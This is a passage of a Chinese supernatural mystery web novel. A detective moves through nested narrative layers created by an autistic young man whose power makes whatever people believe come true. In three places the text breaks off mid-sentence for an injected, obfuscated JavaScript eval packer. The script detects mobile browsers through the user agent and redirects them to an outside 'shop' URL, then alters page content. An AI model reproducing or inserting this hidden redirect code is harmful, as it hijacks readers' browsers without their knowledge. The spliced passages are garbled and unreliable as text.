迎面的电梯间被改造成一个画廊,展示159幅左上角有太阳的简笔画。 每幅画都被裱在做工精良的画框中,像是被供起来的稀世名作。 张晓娜从家里出来迎接他们:“你们回来啦!康康什么时候回来?” 面前的贵妇穿金戴银,头发高高盘在脑袋上,但幻忆师在她身上闻到一股熟悉的劣质豆油味。 幻忆师越过张晓娜走进大平层的会客厅。 何大勇戴着眼镜坐在红木椅子上看书,他也问:“康康呢?” “康康忙。”何翠凤把包放下换鞋,“我和善善先回来了。” 正对着红木家具的是一面古色古香的仕女图背景墙,墙上没有挂电视,而是贴着一堆古诗和数竞题。 中间挂着何康小时候的生活照,照片上的何康还没吃激素药,漂亮得像个小姑娘,可惜表情木讷不看镜头。 何大勇发现幻忆师在看古诗,他放下书走过来:“这是你哥小时候背的诗。” 他穿着衬衫马甲,戴着金边眼镜,身上有股和张晓娜如出一辙的劣质豆油味。 何大勇用充满怀念的语气说:“你哥哥小时候是个天才。” “三岁认识2000个汉字,五岁能背500首古诗,八岁在数学方面的天赋达到巅峰,小学奥数竞赛题的数列他一看就能解开。” 倒是符合部分自闭症儿童的特征,超群的机械记忆力和对数字异常的敏感度。 张晓娜不知何时站在何大勇身边,她替丈夫补充:“可惜不爱说话。” 换完拖鞋的何翠凤加入她的父母:“虽然不爱说话,但我们都相信康康。” 他们三个站在一起,简直是完美的一家人。背后是古意盎然的仕女图,三个人穿着富贵,红润的脸上挂着幸福的微笑。 三人同时拍手: “啪啪、啪,啪啪、啪,啪啪、啪” 三人闭上眼睛,声音汇聚在一起: “我相信何康会给我带来美好的生活。” 幻忆师后退一步,撞到墙上的相框,相框里木讷的小何康变成挂着荒诞笑容的伪人女孩。 何大勇扣住幻忆师的肩膀,张晓娜和何翠凤一人拉住她的一只手,他们同时说:“相信何康吧!” “何康会给我带来美好的生活!” 幻忆师挣了一下,没挣开束缚,她问:“何康在哪?” “相信何康吧!” “我会相信何康。”幻忆师深吸一口气,“但不是现在。” 话音落下的瞬间,幻忆师一脚踩上何翠凤露在拖鞋外的脚趾,何翠凤吃痛地松开她的手。 她握拳发力,直击何大勇面门。 “老公!”张晓娜慌张地扶起何大勇,“你流鼻血了!” 幻忆师转身就跑。 她跑了几步,才发现身后的三人根本不追她,她停下回头看。 何大勇坐在地上舔食自己的鼻血,他怜悯地看着幻忆师:“无论如何,你最终都会选择相信何康。” 什么乱七八糟的?幻忆师只恨自己力气不够大,一拳打下去还能让他保留意识。 她坐电梯走出大楼,突然在黑夜中用力奔跑。 风如同汹涌的潮水扑面而来,幻忆师大口汲取着空气中的氧气,她听见心脏在不停地擂动。 衣服被风吹得紧贴在身上,又被风吹到鼓起,她好像短暂地挣脱某种束缚,获得快被遗忘的畅快。 她沿着园林般的小径迅速奔跑,一直跑到七中路上。 幻忆师的心脏近乎跳出胸膛,她脚下发力,准备高高跃起,直接跳到马路对面—— “咚!” 沉闷的巨响阻止她。 幻忆师紧急刹车,扶着膝盖喘气,短暂的快乐和自由从她身上迅速剥离,那种憋屈的烦躁感又回来了。 巨响听起来很耳熟,幻忆师抬头望去,看见一辆小货车把刚买完菜的中年妇女撞成两截。 新鲜的蔬菜和一袋猪肉倒在两截尸体中间,穿着碎花棉服的老太太突然从路边窜出来,把沾满鲜血的猪肉拎起来。 她做贼般左右张望,正好看见远处的幻忆师。 “善善啊。”老太太把猪肉揣怀里,向幻忆师招手,“回家吧,奶奶给你炖排骨吃。” 幻忆师摇了摇头,飞快越过老太太,跑回破旧肮脏的里王里。 她竟然在里王里遇见熟人。 刚下晚自习的罗莉娜独自走在小路上。 幻忆师放慢脚步,借着昏暗的天色掩护,悄悄跟在罗莉娜身后。 罗莉娜穿着一身校服,背着书包边打电话边闷头往前走,幻忆师跟近一点偷听。 “报警!快报警啊!”罗莉娜大吼。 “他们那么过分,都在路上打你了,你还不报警?” 电话那边是不愿报警的阿苦。 罗莉娜的声音里带上哭腔:“不报警怎么办?把好位置的档口让给他们?凭什么呀!” 阿苦好像笨拙地解释了什么,把电话挂断了。 “出来。”罗莉娜突然对着幻忆师的方向说。 被发现了。幻忆师不动声色地往阴影里躲了躲。 “你出来!” 幻忆师才不出去。 罗莉娜卷起袖子向幻忆师的藏身地走来:“我不知道你是人是鬼,是鬼更好,快去诅咒那个抢我妈档口的人!” 幻忆师藏身的位置很尴尬,她躲也不好躲,跑也跑不掉。 罗莉娜大步向她走来:“大晚上跟踪我?我宁愿你是鬼!你要是个人,看我不揍死你!” 幻忆师无奈地从藏身处走出来。 罗莉娜的脚步停下来。 然后罗莉娜转身就跑,比幻忆师刚才跑得还快,很快没了踪影,留下幻忆师一人愣愣地站在原地。 跑什么?幻忆师带着疑问回到何康破败的家。 不出意料地,家门口被讨债夫妻用贩卖机堵死了,幻忆师费了很大力气才把机器推开。 家里沉闷得要命,屋内一片漆黑,幻忆师蹑手蹑脚地向何康的房间走去。 “干什么!”张晓娜小声呵斥,“你哥你姐在里面,你跟着掺和什么?” 张晓娜指了指客厅的沙发:“睡觉!” 幻忆师都听傻了,何康20岁,何翠凤25岁。就算在怪谈中他们有血缘关系,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678233|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且看上去比现实中年龄小,那也不能睡一起,或者说有血缘关系更不能睡一起。 张晓娜向幻忆师展示她手中的钥匙,示意何康房间的门被她锁住,然后她得意洋洋地回去睡觉。 幻忆师焦急地凑到何康的房门前,把耳朵贴在墙上,随时准备阻止不好的事情发生。 她后知后觉地发现自己像个变态。 屋内传来何翠凤发颤的声音:“康康,你有钥匙吗?门被锁住了,我要出去睡觉。” 何康当然无法回答何翠凤。 “康康,我不知道你妈是怎么想的,我一直把你当弟弟......或者说当妹妹。” “我刚开始照顾你时,克服了很大的心理障碍,我从没想过要照顾一个和自己差不多大的异性病人。只有把你当妹妹,我才能一直欺骗自己。” “多么希望你是一个健健康康的小女孩,你去上学我来接你回家,我们在放学路上一起讨论回家吃什么。我真的......无法做到你妈妈希望我去做的事。” 从一开始,张晓娜让何大勇把何翠凤带回家的目的就不纯粹,她不光想让何翠凤照顾何康,还想让二人结婚,要何翠凤以妻子的名义照顾何康一辈子,最好再有个孩子。 屋里传来窸窸窣窣的声音。 何翠凤慌张喊:“开门啊!康康要上厕所!” 然后是一阵水声,何康憋不住尿在床/上。 “呜呜呜......”何翠凤哭了,“你如果真是一个小妹妹——” 何翠凤的声音戛然而止。 下一秒,贯穿耳膜的尖叫爆发出来。 “啊啊啊啊啊啊!” 一声闷响,似乎是何翠凤昏过去摔在地上。 张晓娜和何大勇急匆匆冲出来,用钥匙打开房门,把何翠凤抬出来。 幻忆师在他们出来前躲进餐桌下,蹲在角落偷听。 “早和你说过不行了吧?”这是何大勇的声音。 张晓娜气急:“不行就不行!翠凤为什么晕过去?” “都赖你!”何大勇尖声说,“你怀孕时剪头发,把我家的根剪掉了!” 张晓娜气笑了:“要不是我四处找药吃,你能有这个儿子吗?自从测出来是个女孩,转胎丸我吃了整整一大箱!” “就是你瞎吃药吃的!” “你怎么不说你有问题?康康查出来这个病,我立刻想再生一个,结果一直没生出来!让你去医院你也不去,就是你的问题!” 何大勇也急了:“好啊!去就去,谁怕谁?明天我带儿子去!” 幻忆师听得目瞪口呆。 所以何康本来是个女孩子,夫妻二人不满孩子的性别,吃一整箱转胎丸,想借助外力把孩子变成男孩。 结果孩子如愿变成男孩,八岁前还是个小天才。 直到他们将孩子带到医院检查,才发现小孩患有严重的自闭症,所谓的天才行为不过是自闭症的一些症状。 让他们绝望的是,孩子的部分生理停止在儿童时期,不再发育。 何大勇本身也有这方面的问题,张晓娜想再要个孩子根本怀不上,想让何翠凤和儿子生更是生不出来。 对于执着生育的二人来说是毁天灭地的打击,或者说是转胎丸带来的报应。 但是何翠凤为什么晕过去?幻忆师不明白。 刚才看见她的罗莉娜也拼命跑远了,就好像顶着何康脸的她是什么恐怖的恶鬼一样。 恶鬼?幻忆师模模糊糊地抓到一个关键词。 她来到卫生间,与镜子中何康的脸对视。她想起来,伪人女孩也是恶鬼一样的长相。 罗莉娜说过,她在现实中见过伪人女孩。 64. 越相信越不幸 截至目前,所有推理都建立在一个结果上: 何康是拥有未知超能力的大龄自闭症患者,何翠凤利用何康制作伪人测试,伪人测试能在某种特定前提下触发何康的超能力,让测试者死亡。 经人脸识别系统检测,何康和测试中的伪人女孩为同一人。伪人女孩真实存在,不是被PS处理或AI合成的虚拟人物。 尽管不可思议,但何康=伪人女孩是一个恒等式,何康可以变成伪人女孩。 “让何康变成伪人女孩”是触发何康超能力的必要条件,伪人测试中何康直接以伪人女孩的形象示人。 几名测试者有一个共同点,他们都极其相信鬼神。可以把必要条件扩充为“做完伪人测试后相信伪人女孩真实存在”。 “相信”的力量被无限制地放大。 七中路对面的幸福一家人相信何康是天才,并许愿幸福的生活,所以看见伪人女孩并过上了好日子。 独自走夜路的罗莉娜相信何康是鬼,并许愿欺负阿苦的人受到诅咒,何康应许她的愿望,变成伪人女孩来见她,却把她吓跑了。 被张晓娜关在卧室的何翠凤相信何康是自己妹妹,并许愿何康能正常上学,何康立刻变成伪人女孩,把何翠凤吓晕了。 何翠凤由此发现了何康的超能力,她决定利用何康做件大事,最终诞生了伪人测试,但何翠凤还是被剑侠识破,灰溜溜地逃离诞江。 同理可得,测试者们相信伪人真实存在,在机械女声的诱导下许愿见到自己的思念之人。 愿望被应许,伪人女孩前来见他们,给他们带来思念之人,他们坚信的东西也间接带来死亡。 伪人女孩在7天后找到他们,并不是要杀死他们,而是送达考试成绩。 对故人的思念越沉重,对伪人概念的信念越坚定,越相信越不幸。 他们相信伪人是真的,伪人是人类的天敌,必然要杀死人类。成功见到思念之人的那一刻,信仰达到巅峰,恐惧也摧毁一切,他们被自己活脱脱吓死了。 之所以在已死的测试者身上收集不到超能力残留物,是因为他们是被自己吓死的,不是被何康化作的伪人女孩杀死。 这就是何康恐怖的超能力——所信为真。 一名无法开口说话、不愿与人交流的大龄自闭症患者,拥有所信为真的超能力,他的危险程度不亚于手持核/弹发射开关的新生婴儿。 然而,幻忆师心中有一个深深的疑问:为什么现实中知晓一切真相的何翠凤不向何康许愿呢? 她完全可以相信何康是财神爷,许愿中彩票,何康变成伪人女孩,满足她的愿望。她拿钱离开何家,简单又有效。 何必辛辛苦苦熬夜参加剑侠组织的面试,被假死的剑侠吓到六神无主,然后被识破无能力者身份,惶惶如丧家之犬般逃离诞江。 何大勇带何康去检查生育方面的问题是4年前。 整整4年时间,何翠凤在何家忍辱负重,只为了守着拥有所信为真能力的何康,她竟然什么也没做。 但凡她像对面幸福一家人中的何翠凤一样,相信何康是个天才,她也能过上好日子。 幻忆师仔细打量镜中何康的脸,似乎得到了答案:何康不愿意满足她的愿望。 何康知道她拿到钱会立刻离开何家,离开自己身边,知道她所谓的“相信”不是真心的,拒绝实现她的愿望。 所以幸福一家中的何翠凤才说“相信何康的是何翠凤,不是何逢翠”。 现实中的何翠凤厌恶自己的名字,厌恶自己的身份,给自己取了何逢翠的假名,她不会真心实意地把信任献给何康。 怪谈里的何翠凤是何康想象出的小说虚构角色,她是何康的好姐姐,父母的好女儿,自然会全心全意信任何康,何康也让她过上了富足的生活。 幻想中的富足生活。幻忆师无趣地伸手擦了擦镜子,镜子中的人没有动。 幻忆师平静地问:“所以这里也是你写的小说吗。” 脱离上一个叙事层后,幻忆师以为自己来到真实层。但这里还是有挥之不去的烦躁感,和何康笔下十全十美的虚假幸福一家。 实际上,她从一个叙事层来到另一个叙事层,真正的何康在上一层等她。 至此可以补全第四条规则。 4.当一个角色相信【被烧毁】愿望【被烧毁】 当一个角色相信何康,愿望会被实现。 现在,幻忆师要去补全第三条规则。 3.对称性是指一个图形在某种变换下【被烧毁】 对称的图形在一定变换条件下保持不变。 里王里可以看做一个轴对称图形,对称轴是“王”字中间一竖。 本叙事层也是一个轴对称图形,对称轴本应是一座中学,却被何康简化成一条马路。 何康天生对数字和图形的敏感度让他无法接受把一座不工整的学校当做对称轴。 于是他将第七中学变成简简单单的七中路,左边的里王里是陈旧肮脏的,右边的里王里是奢华幸福的。 两边的主要人物必然呈轴对称关系。 父母姐弟能对应上,连他们的邻居都能对应,却有两个人无论如何也对应不上。 他们就是左边的看门大爷和右边的公寓管理员,两位风马牛不相及的人。 还有一位只存在于别人口中,从未出现在大家眼前的人——何康。 幻忆师从桌子下爬出来,偷偷打开何康房间的门。 门里果然没有何康。 何康不可能在家,他正在一楼看大门。 幻忆师轻快地下楼,纵然憋屈的烦躁感还压在身上,但她觉得自己已经离真相很近了。 到三楼时,她听见看门大爷的收音机广播: “今日,一起外卖员失踪事件引发了广泛关注。据悉,该外卖员在前往里王里送餐途中突然失踪,家人和朋友多方寻找无果,焦急万分......” 播音员字正腔圆的声音变得越来越粘稠,每一个字都比上一个字慢上一拍。 “就在大家几乎绝望的时候,这位外卖员奇迹般归来。他眼神空洞,神情恍惚,嘴里念念有词,仿佛在与看不见的存在对话。” 播音员的声音越来越低沉,从一个清亮明快的女声变成浑浊沉闷的男声,到最后接近于长鼻怪物的低哼声。 “他坚称里王里不是现实世界,而是一部小说。他说一切都有其既定的命运和规则,而他只是一个被作者操纵的角色,他-要-吞-噬-其-他-角-色......” 幻忆师走到一楼,看门大爷窝在藤条躺椅中,手里扶着一台收音机。他边听广播边借着微弱的灯光看故事会。 “康康。”幻忆师叫他,“灯太暗了,对眼睛不好,我给你读吧。” 年老的男性何康睁大昏黄的眼珠,想要看清眼前的幻忆师,可他实在是太老了,老到看不清任何事物。 幻忆师轻轻拿过他手里的故事会。 “玩家幻忆师在一条干净的马路上醒来。马路上没有行人也没有车辆,连白色的交通标记线都像刚画上去的,无比醒目。幻忆师醒来的地方立着一块路牌,路牌上用蓝底白字写着......” 读到这里,幻忆师被何康打断了,他说:“这是第一次有人给我读故事,如果你真是我弟弟该有多好。” “或许你无法相信,当我还是一个婴儿的时候,我就有记忆。我用尽全力哭喊,但得不到任何回应,我以为世界上只有我自己。” 幻忆师看着老人黄色的眼珠,仿佛看见那个满眼绝望的婴儿。 她说:“然后呢?没有人回应你,但你在这里回应我?” 年老的何康无言以对。 “你不是何康。”幻忆师叹气,“你只是何康想象中作为男性正常长大变老的自己。” 她晃了晃手里的故事会:“故事只讲了一半,另一半在哪?” 年老的何康关掉收音机,缓缓闭上眼睛:“故事停留在哪里,可以给我读读吗?” 他补充:“就当作是一个老人的请求。” 幻忆师沉默片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687625|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,真的给他读了文本的末尾:“幻忆师跑得太快,不小心撞在贩卖机上。她抬起头,与机身上的卡通企鹅对视......” “谢谢你,弟弟。”何康闭合的眼角处微微反光,“你肯定知道另一半故事在哪,还愿意把它读给我听。” “谢谢你。” 他道完最后一声谢,便昏沉沉地睡去。收音机掉下藤椅,摔出几个零件,像是在和它的主人做最终的道别。 幻忆师拿着故事会默默远去。 她穿越七中路,来到奢华的室内人造花园,无头男尸还陈列在花圃中。 “我不会把登记簿给你。”公寓管理员端坐在办公室窗口后,隔着铁栏杆露出半张脸。 幻忆师不和她废话:“何康在哪?” “你知道他在哪,你验过尸体。” 幻忆师转身就走。 她一脚踩上何康的尸体,进入159电梯,电梯平稳地运行,把幻忆师安全送到何康的家。 家里一片漆黑,只有七根点燃的蜡烛摆在黑暗中,七个星星点点的烛光无风自动,把蜡烛前何康的影子映得明明灭灭。 幻忆师走过去,看见何康在左上角画着太阳的纸张上写外卖员的故事,他正写到外卖员分不清眼前的姐弟谁在说谎。 “康康。”幻忆师轻轻叫他,“外卖没送到,你饿吗?” 何康丝毫不理会幻忆师,只顾着专注写作。 幻忆师捡起地上另外6张太阳纸,每张纸上都有一个故事,故事的开头用红色蜡笔写着“请立刻停止阅读”,但幻忆师还是读下去。 第一张纸:《洋娃娃和躯干泰迪跳舞》 【洋娃娃和躯干泰迪跳舞,跳呀跳呀一二一,泰迪跳到只剩下头,死吧死吧请死去。】 【警告!】【请立刻停止阅读!】 红色蜡笔写下的粗体警告再次出现,幻忆师无视警告继续读。 第二张纸:《没有眉毛的老奶奶》 【我的邻居是一位慈祥的老奶奶,她勤劳质朴,喜欢自己盖房子。有一天,她捡到了很适合当做建材的东西......】 【警告!】【请立刻停止阅读!】 幻忆师迅速阅读手里的太阳纸,剩下的故事分别是:《家门口的自动贩卖机》、《可食用动物》、《请遵守任务栏提示》和《我是打印机》。 等她阅读完毕,何康正好写完《失踪的外卖员》,他拿起红色蜡笔,在故事的末尾写道: 【请尽快打开最后一个故事!】【请务必读完最后一个故事!】 幻忆师深吸一口气:“最后一个故事是什么?” 何康盘腿坐在地上,欣赏自己的作品。 他双手蜷曲摆在胸前,面无表情地盯着太阳纸。像是欣赏够了,他把纸张凑近蜡烛,目送太阳纸被火焰吞噬。 “康康。”幻忆师蹲下身,直视何康的眼睛,“最后一个故事在哪里?” 明明灭灭的烛光中,何康好像在看她,又好像没在看她。 幻忆师盯着何康的眼睛:“别装作听不见,你和这个世界有链接,你能拒绝何翠凤的许愿,你不是关在蛋中的鸟儿。” 终于,何康抬手指了指头顶。 幻忆师走出何康的家。 她回到一楼,按下1716电梯。她要像外卖员一样,跃迁到上一叙事层。 ...... 玩家幻忆师在劣质豆油味的家中醒来。 她低下头,看见一双年轻女性的手,手指欣长有力,看上去并不柔软。 幻忆师的直觉告诉她不要继续研究下去,她抬起头。 何康端坐在书桌前画画,他刚画完一个太阳,正在欣赏纸上的空白。 幻忆师走过去陪他一起看。 第八张纸:《读者之死》 【请务必阅读完所有文字!】 【认真阅读完七个故事的读者终于看到第八个故事,他拧下自己的头颅,毫不犹豫地坠入下一层叙事,和他喜爱的故事们永远生活在一起。】 【END】 65. 呼唤真名 读完最后一个字的瞬间,下层叙事针对上层叙事的诅咒即刻生效。 何康放下蜡笔,在书桌前站起来,他的双手一上一下地握住自己的头,用违背物理规律的力气向左拧动。 “康康!”幻忆师厉声喊,她冲上去掰开何康的手。 没有什么能阻止已生效的诅咒。 “咚”的一声轻响,何康的头从肩上滚落至脚下,他的身体向前栽倒,被桌上的太阳纸吸入,消失得无影无踪。 幻忆师捧起何康死不瞑目的头颅。 是下一层叙事的何康杀死了真实层的何康,他无头的尸体会直直坠入何康为他准备好的花圃,再被众人践踏,当做跃迁的入口。 幻忆师的厉声喊叫引来了张晓娜和何大勇。 张晓娜一眼看见她手里的头颅,发出刺耳的尖叫,何大勇哆哆嗦嗦掏出手机报警。 幻忆师看向他们,何大勇立刻抄起扫把对准她:“你是谁?为什么杀死我儿子?” “我是——” 何善两个字停在幻忆师嘴边,她的手是一双年轻女性的手,很明显她不是何善。 那么她是谁?幻忆师茫然地想。 她带着这个疑问,任由超管局的刑警们拷住自己。 超管局的审讯室内。 “我认识你们。”幻忆师的手被拷在审讯椅上,她用手指轻点面前的人,“你是王锐斌,她是李颖,旁边站着的叫左絮飞。” 这是间专门用来关押超能力嫌疑人的审讯室,固定在地面的审讯椅拷住幻忆师的手脚,审讯椅置于一间胶囊仓内。 仓室由特种玻璃制成,有效防护多种超能力。为了预防发动条件是声音的超能力者,幻忆师的声音经过仓内变声器的处理才能传导到外面。 几位警察对视一眼,李颖冷笑:“诞江市的超能力罪犯都认识我们,你到底想说什么?” “我想说,我不应该认识你们,这很奇怪,但我不知道为什么奇怪。” 左絮飞好奇地看着她。 王锐斌笑呵呵地说:“年轻人爱说谜语,我上了年纪听不懂。” 幻忆师仔细打量王锐斌:“你应该认识我。” “哦,我认识你吗?” “别废话。”李颖严厉地问,“你为什么杀死何康?你的超能力是什么?” “那不重要。”幻忆师像是在自言自语,“我为什么会遇见你们?” 李颖喝道:“老实交代!你的超能力是什么?何康无头的尸体被你藏在哪里?你的超能力是不是和分尸藏尸有关?” “我没有超能力。”幻忆师耸了耸肩。 左絮飞像是在咖啡店里聊天:“我看你记忆力很好,一般的罪犯即使知道我们的名字,也认不出我们的长相。” “好像是。”幻忆师漫不经心地说,“我的记忆力好像很好。” 她像是突然想起什么:“可你今年刚转业,一般的罪犯怎么知道你的名字?” 左絮飞笑出声:“所以你想说自己是不一般的罪犯?” 李颖绕着胶囊仓走了一圈,停在她身后:“你很有经验。” “什么经验?”幻忆师纳闷,她放松身体靠在椅背上,一眼不看身后的李颖。 “接受审讯的经验。”李颖的话语暗含深意,“从开始审讯到现在,你一直表现出中立的姿态和远超常人的自控力。” “你的神情实在是太放松了,放松到我分辨不出你话语的真假。而且你竟然试图引导我们,让我们觉得自己认识你。” 幻忆师活动几下脖子:“我也觉得很奇怪,我紧张不起来。” 王锐斌在电脑上记下什么,他评价:“你这不是经验,经验是通过控制肢体语言来误导审讯者,是一种防御措施。” 左絮飞简短总结:“不是经验,她是完全不在乎。” 幻忆师小幅度竖起手掌:“我可以问个问题吗?” “不能上厕所。”李颖绕到前方,盯着幻忆师的眼睛。 “不是上厕所。”幻忆师哭笑不得,“我想问的是,这里是真实层吗?” 三位警官一脸莫名其妙。 幻忆师仰起头,透过特种玻璃看天花板。 审讯室的天花板低矮压抑,这种设计是为了进一步给犯人造成心理压力,让他们配合审讯工作。 幻忆师位于低矮的天花板下,被缚于狭小的胶囊仓内,但她一点都没有那种憋屈的烦躁感。相反,她的内心一片宁静。 她一直不说话,左絮飞却对她产生极大的兴趣:“继续说你的超能力。” “不是超能力,我只是记性比较好。” “好吧,只是记忆力强。”左絮飞走近一点,弯下腰看她,“你知道有位以记忆力出名的侦探吗?” “你好奇怪。”幻忆师像是没听见左絮飞的问题。 她盯着电脑前不断打字的王锐斌:“他是你队长,为什么由他做笔录?” 左絮飞站直身体,挡住她观察王锐斌的视线,他说:“那位侦探叫幻忆师。” “才不叫幻忆师。”幻忆师自然接话,“她叫陈影笙——” 陈影笙话音未落,头顶低矮压抑的天花板被掀飞,世界旋转倒置。她像是一颗黏在罐子里的软糖,被审讯椅固定在地面,无法从罐底倒出去。 审讯室内未固定的东西纷纷脱离了它们原本的位置,在重力的作用下无助地向下掉落。 三位警察失去所有表情,他们双手蜷曲摆在胸前,木讷地异口同声说:“原来你叫陈影笙。” 桌子上用来记笔录的电脑向下坠落,陈影笙瞥见上面的文档: 【超管局的审讯室内,幻忆师的手被拷在审讯椅上,她用手指轻点面前的人......】 这里也是何康笔下的小说吗? 陈影笙陷入沉思。 她虽然被迫回忆起自己的真实姓名,但补全了第一条规则: 1.你是一个普通人,普通地过好普通的每一天,禁止【被烧毁】 禁止回忆自己的真实姓名。 被何康控制的三人说:“留下来陪何康吧。” 幻忆师问他们:“何康在哪里?” 三人同时指向上方。 在旋转倒置的世界中,向下坠落便是向上攀升。 “把我放出去。”幻忆师要求,“我要去见何康。” 被何康操纵的左絮飞不受重力影响,他同手同脚地走过来打开胶囊仓。 下一秒,左絮飞的动作停止了,重力摄住他,如千斤坠般拉扯他向下坠落。 彻底掉下去前,左絮飞一把抓住胶囊仓的把手,他表情鲜活地大喊:“睁眼!万花筒——” 他鲜活的表情被冰冻,人也缓缓落到地上,何康再次控制他,他机械地说:“留下来陪何康吧。” 陈影笙笑了:“何康,这里不是你的小说,而是基准现实。你无法完全控制他们,只能在超越现实的地方暗中影响人物。” “把我放出去。”她重复,“我们会再次见面。” 在何康的控制下,左絮飞打开胶囊仓,解开手铐脚铐,目送陈影笙掉向天花板。 世界向广袤的天空坠落,陈影笙张开双臂拥抱逆向气流。 周围的景物飞速掠过,建筑和树木以全新的姿态倒置呈现,它们也在向下坠落。 心脏在耳边有力地跳动,陈影笙已经很久、很久没有感受过如此舒爽的快/意了,下一层叙事中靠奔跑获得的虚假畅快比不上坠落的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701284|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分毫。 畅快化作飞鸟从她的胸腔中孵出,她从蛋壳中孵出,他们一起奔向世界。 一个想法迅速在她的脑海中扎根发芽,长成一棵茁壮的大树:她要让何康也从蛋壳中孵出,撞破这个世界! 陈影笙不断地坠落、坠落,她和她的想法直直坠入一片火海。 这里就是超越现实之地......吗? 陈影笙怔怔地望着面前不断燃烧的火焰,她终于知道白发少女身上的火从何而来。 何大勇手持菜刀从火中跃出,一刀砍向陈影笙。 他双目赤红:“去死啊!何康,你怎么还不死?” 狼狈地躲过何大勇的菜刀,陈影笙抬头看他。 何大勇的身体凝实到一种不正常的形态,他周身描着一层黑边,身上的光影复杂到令人头晕。 陈影笙的视觉系统像是一台带不动3A大作的老旧笔记本电脑,何大勇的动作在她眼里一帧一帧跳动,他周身的黑边变成锯齿状的马赛克。 破空的风声比何大勇卡顿的动作抢先一步传导至陈影笙的感官,她毫不犹豫地向火海中打滚,躲过致命一击。 “何康!” 何大勇的菜刀附近多出一堆红黄色块,陈影笙猜那是菜刀的特效。 “你把我和你妈都毁了!” 扭动的火焰被何大勇的菜刀吸收殆尽,然后变成糊作一团的色块。 “我们的希望!我们的天才!”何大勇的眼睛近乎滴血,“我的钱!我的尊严!” 他大叫着向陈影笙冲来,陈影笙顾不上周身的火焰,迈开腿狂奔。 幸好她用的是自己的身体,她最擅长的事情就是逃跑。何大勇渐渐体力不支,被她甩下一大截。 陈影笙在火海中七拐八拐,躲进一片像里王里的建筑群。 何大勇还在怒吼,陈影笙藏在一堵红砖筑作的矮墙后,边喘气边观察四周。 来翻垃圾的老人从上方探头,和陈影笙对视。 原来矮墙是里王里的垃圾堆放点。 “不好意思,打扰您了。”陈影笙不知道自己为什么道歉,她干巴巴地解释,“何大勇在追杀我。” “这样啊。”老人平静地说,“我相信你是一块废纸板,我要把你捡走。” 陈影笙的身体变得扁平,她很快如老人所愿,变成一张平平的纸板,被老人折叠两下抱在怀里。 老人佝偻着身躯,颤颤巍巍地从何大勇身边经过。 “何康,出来!”何大勇向虚空中吐出一口浓痰,“你知道从天堂跌进地狱是什么滋味吗?” 纸板做的陈影笙老老实实呆在老人怀中。 老人走了一小段路,实在是走不动了,她气喘吁吁地放下陈影笙,往前指路:“跑吧。” “谢谢您救我。”陈影笙鞠躬,“出口在哪里?” “现实和非现实才有出口。”老人笑了,“超现实中没有出口。” 陈影笙再次道谢,飞快向记忆中何康家的方向跑去。 四周燃烧着熊熊烈焰,极度高温把空气烧到扭曲变形,但火焰沾染不到陈影笙。 陈影笙路过拔红砖的碎花棉服老太太,向楼内冲去。 “等等!”老太太喊住她,“何大勇回家了。” “请您帮帮我。”陈影笙诚恳地请求。 老太太咧嘴笑了,露出缺牙的牙龈:“我相信你是一块砖,我要把你搬走。” 陈影笙立刻被压缩得方方正正,然后变得又红又小。 老太太把她从地上捡起来,没塞进自己的蛇皮口袋,而是将她码在面前坑坑洼洼的墙壁中。 何大勇从楼门里冲出来,他后退几步,用血红的双眼盯着老太太:“你在帮何康?” 66. 你先做个人 老太太警惕地搂紧蛇皮口袋,声如蚊呐地回答:“没有。” “给我!”何大勇粗暴地抢走她怀里的口袋,把每块砖都掏出来摔成两截,然后气恼地撕破口袋。 他边撕边喊:“何康,出来!像个男人一样!” 周围一片死寂,老太太不敢看他,何大勇向远处跑去。 等何大勇跑远了,老太太把陈影笙抠出来,将她放在地上:“快跑吧。” “谢谢您救我。”陈影笙再次问,“您知道出口在哪吗?” “这里是超现实,超现实没有出口。”老太太捡起地上的蛇皮口袋,心疼地抚摸裂口。 陈影笙跑上五楼。 张晓娜和何翠凤在热火朝天地备菜,张晓娜焦急地问:“水呢?水呢?我煮麻辣烫的水没了!” 她看见陈影笙,惊喜地说:“康康!快给妈妈找水!” “出口在哪?”陈影笙直接问。 “去给妈妈把水拿来,妈妈再告诉你。” 陈影笙跑下楼冲进火海。 能给她从火海里找到水就见鬼了。陈影笙边跑边想。 她没见到鬼,只见到了背着书包独自回家的罗莉娜,她一把抓住罗莉娜: “莉娜,听我说,在未来我们是朋友,我可以证明!你妈妈叫罗春喜,在曙光里经营米粉摊;你最好的朋友叫小小,在剧本杀店当前台;小小的男朋友——” “好了!”罗莉娜打断她,“我相信你,需要我做什么?” 陈影笙脑子一片空白。 她真没想好要罗莉娜做什么,她光顾得上想一箩筐说辞让莉娜相信她。 